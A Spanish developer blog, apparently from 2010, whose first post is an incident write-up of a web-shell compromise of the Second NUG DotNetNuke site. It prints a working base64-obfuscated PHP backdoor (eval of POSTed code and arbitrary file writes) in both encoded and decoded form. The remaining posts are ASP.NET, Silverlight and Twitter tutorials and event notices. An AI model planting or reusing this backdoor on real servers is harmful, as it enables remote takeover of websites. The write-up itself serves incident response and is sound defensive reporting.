ATAQUE POR INYECCIÓN DE CÓDIGO A LA WEB DE SECOND NUG

Pues sí amigos, aquella mañana del día 18 de marzo de este año 2010, no tardaron en dejarse caer los comentarios en la lista interna del grupo de usuarios  Second NUG  exclamando:  ¡no se ve la web!, ¡la web está en blanco!, pues mirando vía FTP hay contenido, ¿dónde apunta el dominio?, ¡no resuelve!, ¡Chacho!, (expresión canaria de asombro similar al conocido ¡ñoooos!) el Default está en blanco…..[…]

 

No cabía duda, habíamos sufrido algún tipo de ataque a la web del grupo. ¿Se han filtrado las contraseñas  de acceso al portal? ¿Han entrado vía FTP? ¿Qué dicen los logs de accesos? Tras muchas conjeturas e ideas felices acerca de qué y cómo había podido pasar, me vino a la cabeza el MIX 2010 de Las Vegas y que uno de nuestros compañeros se había desplazado a jugar a la ruleta  asistir a las charlas y novedades de este gran evento y pensé, éste tío claramente nos está haciendo una de las suyas. Pero esta vez no.

Después de revisar los archivos existentes en el servidor decidimos restaurar mediante una copia de seguridad, el archivo Default.aspx que es el que estaba vacío. Pasaron los días y la web se veía bien, hasta que ayer el mismo “Living Las Vegas”, mirando técnicas SEO para mejorar la visibilidad de la página, va y me asusta con un correo que dice: ¿y esos enlaces de spam en la web?… ¿enlaces?, nada a mirar el código de la página principal. Efectivamente, existían unas 2000 líneas de enlaces OCULTOS apuntando a webs de todo tipo:

<body id=»Body»>

<script>document.write(«<p sty»+»le=displ»+»ay:no»+»ne>»);</script>          

<a href=»http://www.pinamalayan.gov.ph/index.php?option=com_fireboard&Itemid=118&func=view&id=1682&catid=17″>free movies download itunes</a>

<a href=»http://www.n97geeks.com/Off-Topic/4458-Itunes-2.1-Free-Download.html»>itunes 2.1 free download</a>

<a href=»http://retireat21.com/forums/website-critique/5717-download-itunes-windows-7-x64-photo-id-software-download.html»>download itunes for windows 7 x64</a>

<a href=»http://www.palminfocenter.com/forum/palm/driver-download-hp-deskjet-f380-download-free-t49927/»>driver download hp deskjet f380</a>

Y así hasta 2000 líneas.   😮

Aquí nos han colado algo que está inyectando todo ese código en las páginas. Me pongo a mirar los diferentes archivos que conforman el sitio y nada, reviso carpetas,… hasta que llego a los skins del portal, que es un DotNetNuke. Ahí había algo raro. Un curioso archivo php dentro de ese skin, ¿a qué viene eso?

Increíble sorpresa al editar el archivo y ver cómo en 1488 líneas de código de un script PHP, el código se hace magia, la magia poesía y la poesía que nos traía por la calle de la amargura y acordándonos de algún familiar cercano del que nos coló el ficherito.

Control sobre el tipo de servidor en el que está (Windows o Linux), ficheros de configuración del servidor, crear directorios, eliminarlos, crear archivos, comprimirlos, funciones de conversión y tratamiento de cadenas (Base64, md5, sha1,crypt, CRC32, ASCII to X, …), búsquedas de caracteres, búsquedas por  hash en los archivos del sitio, acciones sobre ficheros “en modo seguro”, autoeliminación para no dejar rastro,  acción de fuerza bruta para la averiguación de contraseñas. Seguimos: ejecución de sentencias SQL contra posibles bases de datos alojadas en el servidor,…, acciones referentes a comandos de red, binding de puertos, … y varias acciones más que la verdad es que da cierto temor ver lo que se puede hacer con este código.

Después de debatir y de un sinfín de correos en la lista interna de Second NUG decidimos dar parte al hosting y también proceder a eliminar ese archivo de su ubicación (dentro de un directorio a un nivel 5 de la raíz del sitio).

Todo resuelto, pero,  al poco tiempo vuelven a aparecer los enlaces spam en la Default.aspx. Esto es que hay más archivos php por ahí o han metido algo en base de datos.

Sigo con la búsqueda cuando nuestro compañero Omar del Valle  me comenta que la página PHP tiene una contraseña en MD5 que usa el usuario para entrar a los servicios que esta “maravilla” nos brinda, o sea que escribiendo una contraseña nosotros a pelo en el código, podemos ver de qué es capaz.

<?php
$auth_pass = «284c0508348f6ed46f1878a95c64742a»;

if( empty( $auth_pass ) || ( isset( $_POST[‘pass’] ) && ( md5($_POST[‘pass’]) == $auth_pass ) ) )
     $_SESSION[md5($_SERVER[‘HTTP_HOST’])] = true;
else printLogin();

?>

Como es MD5 y no podemos hacer marcha atrás para saber cuál es la clave usada por el usuario, nos generamos un MD5 nuevo, modificamos el código php y ejecutamos.

Hasta ahora, solo imaginábamos lo que podían hacer con el archivo que habían subido porque mirábamos y analizábamos, entre todos, el código interno, pero la curiosidad de ver  en funcionamiento lo que nos habían colado pasaba a ser ya una necesidad. Montamos todo en un servidor de prueba con apache corriendo sobre Windows 2008 para así no poner en riesgo al IIS y….

 

 

Creo que las imágenes hablan por sí mismas.

Entre maravillado y asustado, sigo buscando y buscando cómo saber quién nos está colando los spam en la página de inicio del sitio, hasta que Javier Conesa  se le ocurre activar la opción de SmarterStats del hosting, para luego mirando las estadísticas saber si nos están ejecutando algo raro.

Una vez más borramos los enlaces misteriosos de la página default de nuestro sitio… y esperamos.  A los pocos segundos ahí están de nuevo, pero esta vez las estadísticas nos dice lo que nos faltaba:

/Default.aspx
/Resources/FeedBrowser/themes/graphite/
main.php
/rss.aspx
/Portals/_default/Containers/MinimalExtropy/

El skin MinimalExtropy de DNN era quien  tenía el archivo PHP que logramos descifrar pero que ya habíamos eliminado del sitio, pero nos quedaba ese nuevo main.php del que no sabíamos nada.

Mirando el código del main.php vemos que contiene solamente este código:

<?php eval(base64_decode(«Pz48P3BocA0KDQppZighZW1wdHkoJF9QT1NUWydkYXRhJ10pKSB7DQoJJHRtcCA9IHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydkYXRhJ10pKTsNCgkkZmlsZSA9IHVybGRlY29kZSgkdG1wWydpbmRleCddKTsNCgkkYyA9IGJhc2U2NF9kZWNvZGUoJHRtcFsnY29udGVudCddKTsNCg0KCWlmKCRmaWxlPT0nZXZhbCcpIHsNCgkJZXZhbCgkYyk7DQoJfQ0KCWVsc2VpZigkZiA9IGZvcGVuKCRmaWxlLCAndycpKSB7DQoJCWlmKGZ3cml0ZSgkZiwgJGMpKSB7DQoJCQlmY2xvc2UoJGYpOw0KCQkJZWNobyAiVVBEQVRFRCI7DQoJCX0NCgkJZWxzZSB7DQoJCQllY2hvICJTb21lIGVycm9yIHdoaWxlIHdyaXRpbmciOw0KCQl9DQoJfQ0KCWVsc2Ugew0KCQllY2hvICJDYW4gbm90IHdyaXRlIHRvIGZpbGUiOw0KCX0NCn0NCmVsc2Ugew0KCS8vZWNobyAiPHByZT4iOyBwcmludF9yKCRHTE9CQUxTKTsgZWNobyAiPC9wcmU+IjsNCglkaWUoIk5PIERBVEEiKTsNCn0NCj8+PD9waHAg»));?>

A simple vista se ve que está codificado en base64 con lo que busco un decodificador online como por ejemplo:

http://www.opinionatedgeek.com/dotnet/tools/Base64Decode/  y resulta (redoble):

 

<?php

if(!empty($_POST[‘data’])) {
                $tmp = unserialize(base64_decode($_POST[‘data’]));
                $file = urldecode($tmp[‘index’]);
                $c = base64_decode($tmp[‘content’]);
                if($file==’eval’) {
                               eval($c);
                }

                elseif($f = fopen($file, ‘w’)) {
                               if(fwrite($f, $c)) {
                                               fclose($f);
                                               echo «UPDATED»;
                               }
                               else {
                                               echo «Some error while writing»;
                               }
                }
                else {
                               echo «Can not write to file»;
                }
}
else {
                //echo «<pre>»; print_r($GLOBALS); echo «</pre>»;
                die(«NO DATA»);
}
?>

fopen, fwrite,…. Mmmmmmmmm, esto ya me suena algo. Este ficherito estaba ubicado en un contenedor de OTRO skin diferente al que se encontraba el famoso archivo mágico inicial.

Eliminado este archivo y restaurada de nuevo la página Default.aspx, de momento, problema solventado, pero las estadísticas que sacamos nos dio algo más de información:

TENEMOS LA IP 78.46.23.209:

78.46.23.209      09/04/2010 14:07:40       /Resources/FeedBrowser/themes/graphite/main.php

Y con la IP… tenemos casi cualquier cosa: http://www.wmtools.net/geoip/78.46.23.209

Espero que pueda servir de referencia por si les toca la suerte.

Un saludo.

 

Nota: Muchas gracias a Omar del Valle por sus capturas de pantalla y revisión del artículo.

 

TIP: cambiando el Status Bar del navegador mediante JavaScript en un GridView

Cómo podemos cambiar el mensaje de la barra de estado (Status Bar) del navegador cuando un usuario pase por encima de los enlaces de un GridView para eliminar, editar…

 

Dentro de las etiquetas HEAD del código ponemos el script:

 

<head runat=»server»>

    <title></title>

<script language=»javascript»>

function cambiar_link() {

     ocultar = document.getElementsByTagName(«a»);

     for (i = 0; i < ocultar.length; i++) {

         if (ocultar[i].innerHTML == «Editar»)

             ocultar[i].onmouseover = new Function(«window.status=’Editando’;return true»);

         else

             ocultar.item(i).onmouseover = new Function(«window.status=»;return true»);

     }

 } 

 </script>

</head>

 

Y en la etiqueta BODY:

 

<body onLoad=»cambiar_link()»>

 

De esta forma sencilla y mediante Javascript podemos recoger todos los elementos de la página que tengan la etiqueta “a” y luego de entre ellos buscar aquellos que tengan el texto que deseemos, en nuestro caso Editar.

(ejemplo: <a href=http://geeks.ms/blogs/jsosa>texto</a>)

Si lo encuentra ponemos el status que queramos, o lo podemos dejar en blanco.

Si quisieramos por ejemplo cambiar el texto que aparece de ese link utilizaremos:

    ocultar[i].innerHTML = «NuevoNombre»;

 

Espero que os sea de ayuda.

Un saludo.

 

 

LINQPad: mejorando nuestras queries LINQ

Excelente herramienta que nos va a permitir aprender de una vez por todas LINQ. Dispone de una versión standard free que vamos a poder utilizar en nuestros desarrollos.

  • LINQ to Objects
  • LINQ to SQL and Entity Framework
  • LINQ to XML
  • WCF Data Services & SQL Azure
  • LINQ to SQLite y MySQL Enterprise Server
  • Mindscape LightSpeed ORM
  • Incluso el «obsoleto » SQL
  • son los entornos en los que nos vamos a poder mover. Ésta versión esta disponible para el framework 3.5 pero también está ya una beta para .NET 4.

    Sin duda muy interesante, no dejes de testearla. Descárgala de aquí.

    Un saludo,

    Joaquín Sosa.

    [Second Nug] Aplicaciones de gestión con Silverlight + RIA Service

    Silverlight, RIA Service, demos, sin duda, se trata de un nuevo evento de Second Nug.

    Si quieres saber los principales componentes de una aplicación de gestión con Silverlight no puedes perderte esta oportunidad que nos trae Braulio Diez, Senior Consultant en Avanade y MVP de Silverlight y Second NUG el próximo día 6 de abril de 19.30 a 21.30 (GMT + 1).

     

    Puedes registrarte en http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032445394&Culture=es-ES

    Esperamos verte allí. ¡Pasamos lista!

    Un saludo.

    Smooth Streaming con Microsoft Silverlight Media Framework (SMF)

    Haciendo pruebas para un amigo que me comentó acerca de las posibilidades de hacer streaming de video con Internet Information Services 7 (IIS 7) me acordé que en el MIX10 se habló del reproductor realizado en Silverlight para los Juegos Olímpicos de Invierno de Vancouver.

     Este reproductor está desarrollado utilizando el open source Silverlight Media Framework que  podemos descargar de Codeplex y que nos permite utilizar el IIS Smooth Streaming.  Tal y como vemos en codeplex,  SMF está basado en el Smooth Streaming Player Developer Kit.

     

     

     

    Conociendo esto, voy a indicar en unos sencillos pasos como configurar el IIS para hacer streaming. Luego,  a partir de un recurso multimedia  que tengamos como por ejemplo un video en formato AVI, vamos a utilizar el Expression Encoder 3 para codificar el video AVI al formato deseado.

    Finalmente veremos cómo utilizar el reproductor para personalizarlo y poder ver el video en streaming alojado en el IIS desde cualquier navegador en cualquier sitio.

     

    Lo primero es configurar el IIS agregándole la Smooth Streaming extensión. Para ello  descargamos el IIS Media Services 3.0 desde aquí teniendo en cuenta si nuestro sistema es de 32 o 64 bits. (para más información o problemas de instalación ver aquí )

    Una vez instalado abrimos el administrador de IIS y en la parte inferior al hacer clic en nuestro sitio web por defecto podemos ver la sección de media.

     

    Picando en Smooth Streaming podemos ver las características como número de peticiones e intervalos, caché de servidor…

     

     

    Una vez tenemos listo el IIS vamos a tratar el video AVI para poder hacer streaming. Vamos a aplicarle un códec para poder facilitar su transmisión vía streaming.

    Para ello abrimos el Microsoft Expression Encoder 3 e importamos el video al trabajo (menú Archivo > Importar)

     

    Una vez tenemos el video totalmente importado (tarda dependiendo de su peso), vamos a elegir los códecs de salida de audio y video…

     

    En el panel de la derecha en Sistema elegimos Codificación para Silverlight  y Transmisión para secuencias suave IIS. Luego en la pestaña Codificar:

    Elegimos como formato de salida Trasmisión por secuencias suave IIS y el códec de video H.264 y el de audio AAC.

    Finalmente en la pestaña Salida podemos seleccionar si queremos ver alguna miniatura que represente el video (un fotograma en particular o personalizarlo), podemos usar las plantillas que nos ofrece Expression Encoder 3 de reproductor y debemos elegir el nombre del archivo multimedia. Por ejemplo {Nombre de archivo original}. {Extensión predeterminada}.  Le decimos el directorio de salida (tenemos que tener presente que este directorio tiene que tener permisos de escritura, ojo si seleccionamos directamente algún directorio dentro de Inetpub.

    En la pestaña Metadatos podemos poner el título, Autor,… del video.

     

    Una vez todo listo le damos a Codificar  y a esperar, que lleva su tiempo.

     

     

     

    En la siguiente pantalla muestro los archivos generados en el proceso:

     

     

     

    Aunque el Expression Encoder 3  ya nos ha generado unas plantillas de reproductor (archivos Default.html, MediaPlayerTemplate.xap y SmoothStreaming.xap) ,nosotros vamos a crear un reproductor utilizando el SMF.

    Creamos un nuevo proyecto Silverlight > Aplicación de Silverlight. Y elegimos hospedarla en un proyecto de aplicación ASP.NET (en nuestro caso).

     

     

     

    Tendremos creados los dos proyectos siguientes:

     

     

     El primero es el proyecto Silverlight y el segundo el proyecto web que va a hospedar el reproductor.

     Lo primero que hacemos es añadir las referencias que necesitamos en el proyecto Silverlight. Añadimos las referencias del SMF y además la del Microsoft Media Smooth Streaming.

     

      Las que vamos a utilizar en nuestro control son:

    ·         Microsoft.SilverlightMediaFramework.Player

    ·         Microsoft.Web.Media.SmoothStreaming

     

    Ahora nos vamos a MainPage.xaml y añadimos los namespaces que vamos a utilizar:

    xmlns:p=»clr-namespace:Microsoft.SilverlightMediaFramework.Player;assembly=Microsoft.SilverlightMediaFramework.Player»

        xmlns:s=»clr-namespace:Microsoft.Web.Media.SmoothStreaming;assembly=Microsoft.Web.Media.SmoothStreaming»

     

    y añadimos el reproductor:

    <p:Player>

                <s:SmoothStreamingMediaElement

                    AutoPlay=»True» SmoothStreamingSource=»http://localhost/IISSmooth/GreenZone.ism/Manifest» />

            </p:Player>

    Vemos que el element Player pertenece al namespace p correspondiente al Player mientras que el elemento que nos permite hacer smoothstreaming pertenece al namespace s.

    He indicado que comience automáticamente y le indico la ruta donde se encuentra el Manifiesto del archivo que voy a reproducir. En este ejemplo he creado un directorio virtual llamado IISSmooth donde almaceno los videos.

    Y para hacer las pruebas me he creado una aplicación en IIS que he llamado PruebaSMF.Web que contiene el código que hemos desarrollado.

     

     

     Vemos que la aplicación Silverlight la he incluido también en el IIS dentro de la carpeta PruebaSMF.

     

    Luego abriendo un navegador y poniendo la url http://localhost/PruebaSMF.Web/PruebaSMFTestPage.aspx  podemos ver el ejemplo en funcionamiento.

     

     

     Con este ejemplo sencillo he intentado mostrar cómo utilizar este framework open source (SMF) para poder crear fácilmente un reproductor que consuma recursos vía streaming.

    Espero sea de utilidad.

    Un saludo.

    [Second NUG] Integrando datos entre diferentes sistemas. SQL Server Integration Services

    Hoy 2 de febrero de 2010 Second NUG nos ofrece el primero de una serie de tres eventos relacionados con Business Intelligence y SQL Server:

    Os invitamos a la primera trilogía de eventos de Second Nug relacionados con SQL Server. Trataremos de aportar un más que interesante conocimiento en esta materia distribuidos en tres meses, en los que veremos Integration Services, T-SQL y Analisys Services.

    ¿Por qué escribir y mantener innumerables líneas de código cuando necesito integrar datos entre diferentes sistemas? Si tienes necesidad de importar, exportar, transformar, calcular, depurar, limpiar… o cualquier otra acción sobre tus datos, para incorporarlos a un sistema diferente al donde se han generado, utiliza herramientas mucho más productivas que la escritura de código, conoce la potencia de SQL Server Integration Services.

    Partiendo de buenas prácticas y una base teórica, nos adentraremos en múltiples ejemplos y resolución de situaciones del día a día en la integración de datos, de manos de un auténtico experto: Salvador Ramos, MVP de SQL Server.

    Enlace de registro: http://msevents.microsoft.com/CUI/EventDetail.aspx?EventID=1032439774&Culture=es-ES

    Mas información en la web de Second NUG: http//www.secondnug.com

    ¡No faltes!, pasamos lista 😛

    Incorporando ASP.NET AJAX CONTROL TOOLKIT a Webforms

    Vamos a usar la librería Open Source  Ajax Control ToolKit que corre sobre el Microsoft ASP.NET AJAX framework para añadir controles con funcionalidad Ajax a nuestro webform.

     

     

     

    Primero descargamos el ToolKit de CodePlex: http://www.codeplex.com/wikipage?ProjectName=AjaxControlToolkit

     Para poder utilizarlo en nuestro proyecto tenemos que añadir una referencia al ensamblado del ToolKit que encontraremos en el directorio donde hemos descomprimido el AjaxControlToolkit:

     

     

    AjaxControlToolkit.dll

     

    Para poder usar los controles añadimos una ficha de componentes en el Toolbox del Visual Studio:

    Pulsamos en elegir Items para explorar y buscar el archivo DLL antes mencionado.

    Una vez hecho esto ya nos saldrá la ficha con los controles del Ajax ToolKit 2.0.

     Veamos ahora un ejemplo de los pasos que hay que realizar para implementar cualquiera de estos componentes.

     1.- Siempre hay que incluir en el formulario y antes de usar cualquier control un Script Manager o

    <asp:ScriptManager ID=»ScriptManager1″ runat=»server»>

        </asp:ScriptManager>

     que va a ser el encargado de manejar las peticiones Ajax.

     Y añadimos la directiva al comienzo de la página (si no se añade cuando arrastremos el nuevo control):

    <%@ Register Assembly=»AjaxControlToolkit» Namespace=»AjaxControlToolkit» TagPrefix=»asp» %>

    2.-  Para nuestro ejemplo vamos a añadir un Update Panel que se encargue de actualizar alguna parte o contenido del webform, en este caso el ListView del ejemplo del CLIENTE WEB PARA TWITTER:

     

    <asp:UpdatePanel ID=»UpdatePanel1″ runat=»server»>

             

                <ContentTemplate>

              <asp:Timer runat=»server» Interval=»10000″ OnTick=»Timer1_Tick» id=»Timer1″>

                    </asp:Timer>

             

                <div id=»Twitter» runat=»server»

                stylebackground-color: #000000; font-weight: normal; position: absolute; width: 367px; height: 250px; top: 50px; left: 800px; color: #FFFFFF; overflow: scroll;«>

              

                <asp:ListView ID=»LVTwitter» runat=»server» DataKeyNames=»User»>

                    <LayoutTemplate>

                        <table runat=»server» id=»table1″ width=»350px»>

                            <tr runat=»server» id=»itemPlaceholder»></tr>

                        </table>

                    </LayoutTemplate>

                    <ItemTemplate>

                        <tr valign=»middle» styleborder: thin solid #FF9933″>

                          <td id=»Td1″ valign=»middle»>

                           <strong><asp:Label ID=»LblMensajeTwitter» runat=»server»

                              Text=’<%#Eval(«Text»)%>‘></asp:Label></strong><br />

                              <asp:Image ID=»Image1″ runat=»server» ImageUrl=»images/LOGO.png» Height=»20″ Width=»40″ AlternateText=»date» />&nbsp;<asp:Label ID=»LblFechaMensajeTwitter» runat=»server»

                              Text=’<%#Eval(«CreatedDate»)%> ForeColor=»#009933″></asp:Label>

                          </td>

                        </tr>

                    </ItemTemplate>

                    <AlternatingItemTemplate>

                     <tr valign=»middle» styleborder: thin solid #FF9933; background-color: #003366; color: #FFFFFF;«>

                          <td id=»Td1″ valign=»middle»>

                           <strong><asp:Label ID=»LblMensajeTwitter» runat=»server» Text=’<%#Eval(«Text»)%>‘></asp:Label></strong><br />

                             <asp:Image ID=»Image1″ runat=»server» ImageUrl=»images/LOGO.png» Height=»20″ Width=»40″ AlternateText=»date» />&nbsp;<asp:Label ID=»LblFechaMensajeTwitter» runat=»server»

                              Text=’<%#Eval(«CreatedDate»)%> ForeColor=»#009933″></asp:Label>

                          </td>

                        </tr>               

                    </AlternatingItemTemplate>

     

               

                </asp:ListView>

                </div>

               </ContentTemplate>

            </asp:UpdatePanel>

     

     Veamos un poco el código:

    Englobamos todo en el UpdatePanel y encerramos el div en las etiquetas ContentTemplate.

    Lo más interesante es que hemos añadido un control Timer:

    <asp:Timer runat=»server» Interval=»10000″ OnTick=»Timer1_Tick» id=»Timer1″>

                    </asp:Timer>

     que es el que va a controlar cada cuando vamos a refrescar este UpdatePanel.

    Podemos actualizar mediante un Timer como este ejemplo o mediante el uso de Triggers. Que ejecutarán una función cuando se produzca un evento sobre un determinado control.

    Así, ese Timer al que hemos puesto un intervalo de 10 segundos (10000) va a ejecutar el método llamado Timer1_Tick que  hemos declarado al principio de la página, dentro del HEAD:

    <script runat=»server» type=»text/c#»>

      protected void Timer1_Tick(object sender, EventArgs e)

        {

           GetTwitterPosts();

        }

    </script>

     

    De esta manera cada 10 segundos se actualizará el ListView cargándose en este ejemplo con los estados del Twitter de mi cuenta.

    Resumiendo:

    1.- Agregar referencia al AjaxControlToolKit.

    2.- Añadir el ScriptManager antes de usar el control

    3.- Añadir el control y comprobar que se ha incluido la directiva al comienzo de la página.

    4.- Particularizar el control.

    Podemos ver una explicación y ejemplos de los diferentes controles Ajax del ToolKit en la URL:

    http://www.asp.net/ajax/AjaxControlToolkit/Samples/

     

    Espero que os haya sido de utilidad.

     

     

    Haciendo un cliente web para Twitter

    En estos momentos están en auge las redes sociales y la interrelación entre ellas. Yo puedo tener mi cuenta de Facebook enlazada con la de Twitter, LikedIn y viceversa. En este artículo vamos a ver cómo hacer un cliente web para Twitter utilizando ASP.NET 3.5 y una librería llamada TweetSharp o tweet#  (http://tweetsharp.com/).

    Este ejemplo consiste en un textbox con un botón para enviar mensajes a mi cuenta de Twitter y un control ListView para ver mi lista de estados en Twitter.

    El uso de esta librería facilita de manera extraordinaria la intercomunicación con Twitter.

    Lo primero es descargarla desde su página: http://code.google.com/p/tweetsharp/downloads/list

    En ella tenemos bastante y muy clara documentación (en inglés).

     

    Comencemos a programar:

    1.- Creamos un nuevo proyecto de Visual Studio de Aplicación Web:

    Nos fijamos que el framework que utilizamos es el 3.5.

     Ahora en el webform insertamos los siguientes controles:

     Los controles que interesan para probar la aplicación son el cuadro de texto, al cual le he realizado validación para que sea requerido y su longitud no exceda de 140 caracteres (twitter) y el botón de enviar.

    Nos fijamos como a mano derecha he puesto un ListView en el que se mostraran mis estados desde ahora (DateTime.Now) hasta la fecha anterior que deseemos.

    2.- Añadimos las referencias necesarias a la librería tweet#.

     

    La vista de código del ListView del formulario quedaría:

     

    <asp:ListView ID=»LVTwitter» runat=»server» DataKeyNames=»User»>

                    <LayoutTemplate>

                        <table runat=»server» id=»table1″ width=»350px»>

                            <tr runat=»server» id=»itemPlaceholder»></tr>

                        </table>

                    </LayoutTemplate>

                    <ItemTemplate>

                        <tr valign=»middle» style=»border: thin solid #FF9933″>

                          <td id=»Td1″ valign=»middle»>

                          <%–<asp:Label ID=»LblUsuarioTwitter» runat=»server»

                              Text='<%#Eval(«User.Name»)%>’></asp:Label> —%>

                           <strong><asp:Label ID=»LblMensajeTwitter» runat=»server»

                              Text=’<%#Eval(«Text»)%>‘></asp:Label></strong><br />

                              <asp:Image ID=»Image1″ runat=»server» ImageUrl=»images/snug_logo.png» Height=»20″ Width=»40″ AlternateText=»date» />&nbsp;<asp:Label ID=»LblFechaMensajeTwitter» runat=»server»

                              Text=’<%#Eval(«CreatedDate»)%> ForeColor=»#009933″></asp:Label>

                          </td>

                        </tr>

                    </ItemTemplate>

                    <AlternatingItemTemplate>

                     <tr valign=»middle» style=»border: thin solid #FF9933; background-color: #003366; color: #FFFFFF;»>

                          <td id=»Td1″ valign=»middle»>

                          <%–<asp:Label ID=»LblUsuarioTwitter» runat=»server»

                              Text='<%#Eval(«User.Name»)%>’></asp:Label> —%>

                           <strong><asp:Label ID=»LblMensajeTwitter» runat=»server»

                              Text=’<%#Eval(«Text»)%>‘></asp:Label></strong><br />

                             <asp:Image ID=»Image1″ runat=»server» ImageUrl=»images/snug_logo.png» Height=»20″ Width=»40″ AlternateText=»date» />&nbsp;<asp:Label ID=»LblFechaMensajeTwitter» runat=»server»

                              Text=’<%#Eval(«CreatedDate»)%> ForeColor=»#009933″></asp:Label>

                          </td>

                        </tr>               

                    </AlternatingItemTemplate>

     

               

                </asp:ListView>

     

     

    Donde vemos que los textos de los labels son “Text”, “CreatedDate” que son los campos que recuperamos de cada estado.

    Hacemos clic en Add Reference… y la buscamos (Browse)

     

    Entonces añadimos esas dos referencias.

     

    3.- Ahora es el momento de dotar al formulario de su funcionalidad. Abrimos el codebehind del formulario, o sea el archivo Default.aspx.cs.

    Importamos los Namespaces que vamos a utilizar:

    using System;

    using System.Collections.Generic;

    using System.Web;

    using System.Web.UI;

    using System.Web.UI.WebControls;

    // Provides access to the fluent API; required

    using Dimebrain.TweetSharp.Fluent;

     

    // Provides access to the data classes that represent Twitter results

    using Dimebrain.TweetSharp.Model;

     

    // Provides access to features like relative time, and casting from XML/JSON to

    // Twitter data classes

    using Dimebrain.TweetSharp.Extensions;

     

    como podemos ver los tres últimos son los que vamos a utilizar para utilizar la tweet# API.

     

    Dentro de la clase tenemos una variable del tipo indicado que es la que nos va a almacenar la colección de nuestras entradas (estados) en Twitter. Va a contener diversos campos que podemos ver en la documentación como nombre del usuario, fecha de creación del post, texto del mensaje…

     

    protected System.Collections.Generic.IEnumerable<Dimebrain.TweetSharp.Model.TwitterStatus> statuses;

     

    y ahora pasamos a ver el código del botón. Para generar el evento Click, hacemos doble clic sobre el botón en modo diseño:

    protected void BtnEnviarTwitter_Click(object sender, EventArgs e)

        {

            var twitter = FluentTwitter.CreateRequest()

                .AuthenticateAs(«joaquin_sosa», «password»)

                .Statuses().Update(TxtMsgTwitter.Text)

                .AsJson();

     

            var response = twitter.Request();

            bool resultado = response.IsTwitterError;

        }

     

    Como vemos en este método definimos la variable twitter que nos va a permitir insertar un nuevo estado en Twitter.  Crea la petición, se autentica con el usuario y contraseña y luego ejecuta una actualización del estado pasándole lo que escribamos en el cuadro de texto y el resultado lo envía siguiendo JSON.

    En la documentación podemos ver diferentes métodos de formato del mensaje XML, JSON, RSS, ATOM…

    var response = twitter.Request();

          bool resultado = response.IsTwitterError;

     

    Con estas sentencias puedo comprobar si ha ocurrido algún error en la actualización del estado.

     

    Perfecto. Ya hemos insertado un nuevo estado en Twitter desde nuestra aplicación.

    Pero quiero comprobar que efectivamente se están insertando. Para ello utilizamos el FormView y lo que hacemos es que en el Page_Load cargamos este control.

    Defino un método para clarificar el código:

     

    private void GetTwitterPosts()

        {

         

            var twitter = FluentTwitter.CreateRequest()

                .AuthenticateAs(«joaquin_sosa», «password»)

                .Statuses().OnUserTimeline().AsJson();

     

            // llamada secuencial a los datos

            var response = twitter.Request();

     

            // convertimos la respuesta a clases de datos  

            statuses = response.AsStatuses();

     

     

            if (LVTwitter != null)

            {

                LVTwitter.DataSource = statuses.Since((DateTime.Now).AddDays(-15));

                LVTwitter.DataBind();

            }

     

        }

    Nos fijamos primero que después de autenticarnos pedimos los estados en la línea de tiempo del usuario (OnUserTimeline) y los formateamos en JSON. Podemos ver en la documentación todo lo que podemos obtener a partir del Statuses (OnHome, OnList, OnPublic…).

     

    Obtenemos los datos y los convertimos y finalmente le decimos el orígen de datos al ListView.

    Yo he añadido la extensión Since que me permita especificar desde cuando quiero recibir los estados.

    Y hacemos el DataBind del control.

    Finalmente en el Page_Load hacemos

    if(!IsPostBack)

                GetTwitterPosts();

     

    Y listo, ya podemos ver nuestros estados a partir de una determinada fecha en el ListView de la derecha. Ahora podríamos añadir funcionalidad AJAX a este control, para la próxima.

     

    Por fin en Geeks

    Después de tanto visitar la comunidad y de enriquecerme con sus contenidos, ha llegado la hora de formar parte de ella y de aportar mi granito de arena a esta inmensa playa kilométrica de conocimiento y evolución continua.

    Este sitio es el mejor canal de comunicación para poder escribir contenidos relacionados con nuestro mundo cotidiano y nuestras vivencias profesionales.

    Espero estar a la altura de la comunidad y contribuir con mis conocimientos a aumentar los tuyos. Tengo un blog personal alternativo en el que iré publicando también diversos contenidos:  http://www.joaquinsosa.com y por supuesto nos vemos en Second Nug. (http://www.secondnug.com)

    Gracias a todos por dejarme un hueco aquí y en especial a Toni y a Rodrigo por todo ello. Gracias a todos los Second Nug Boys.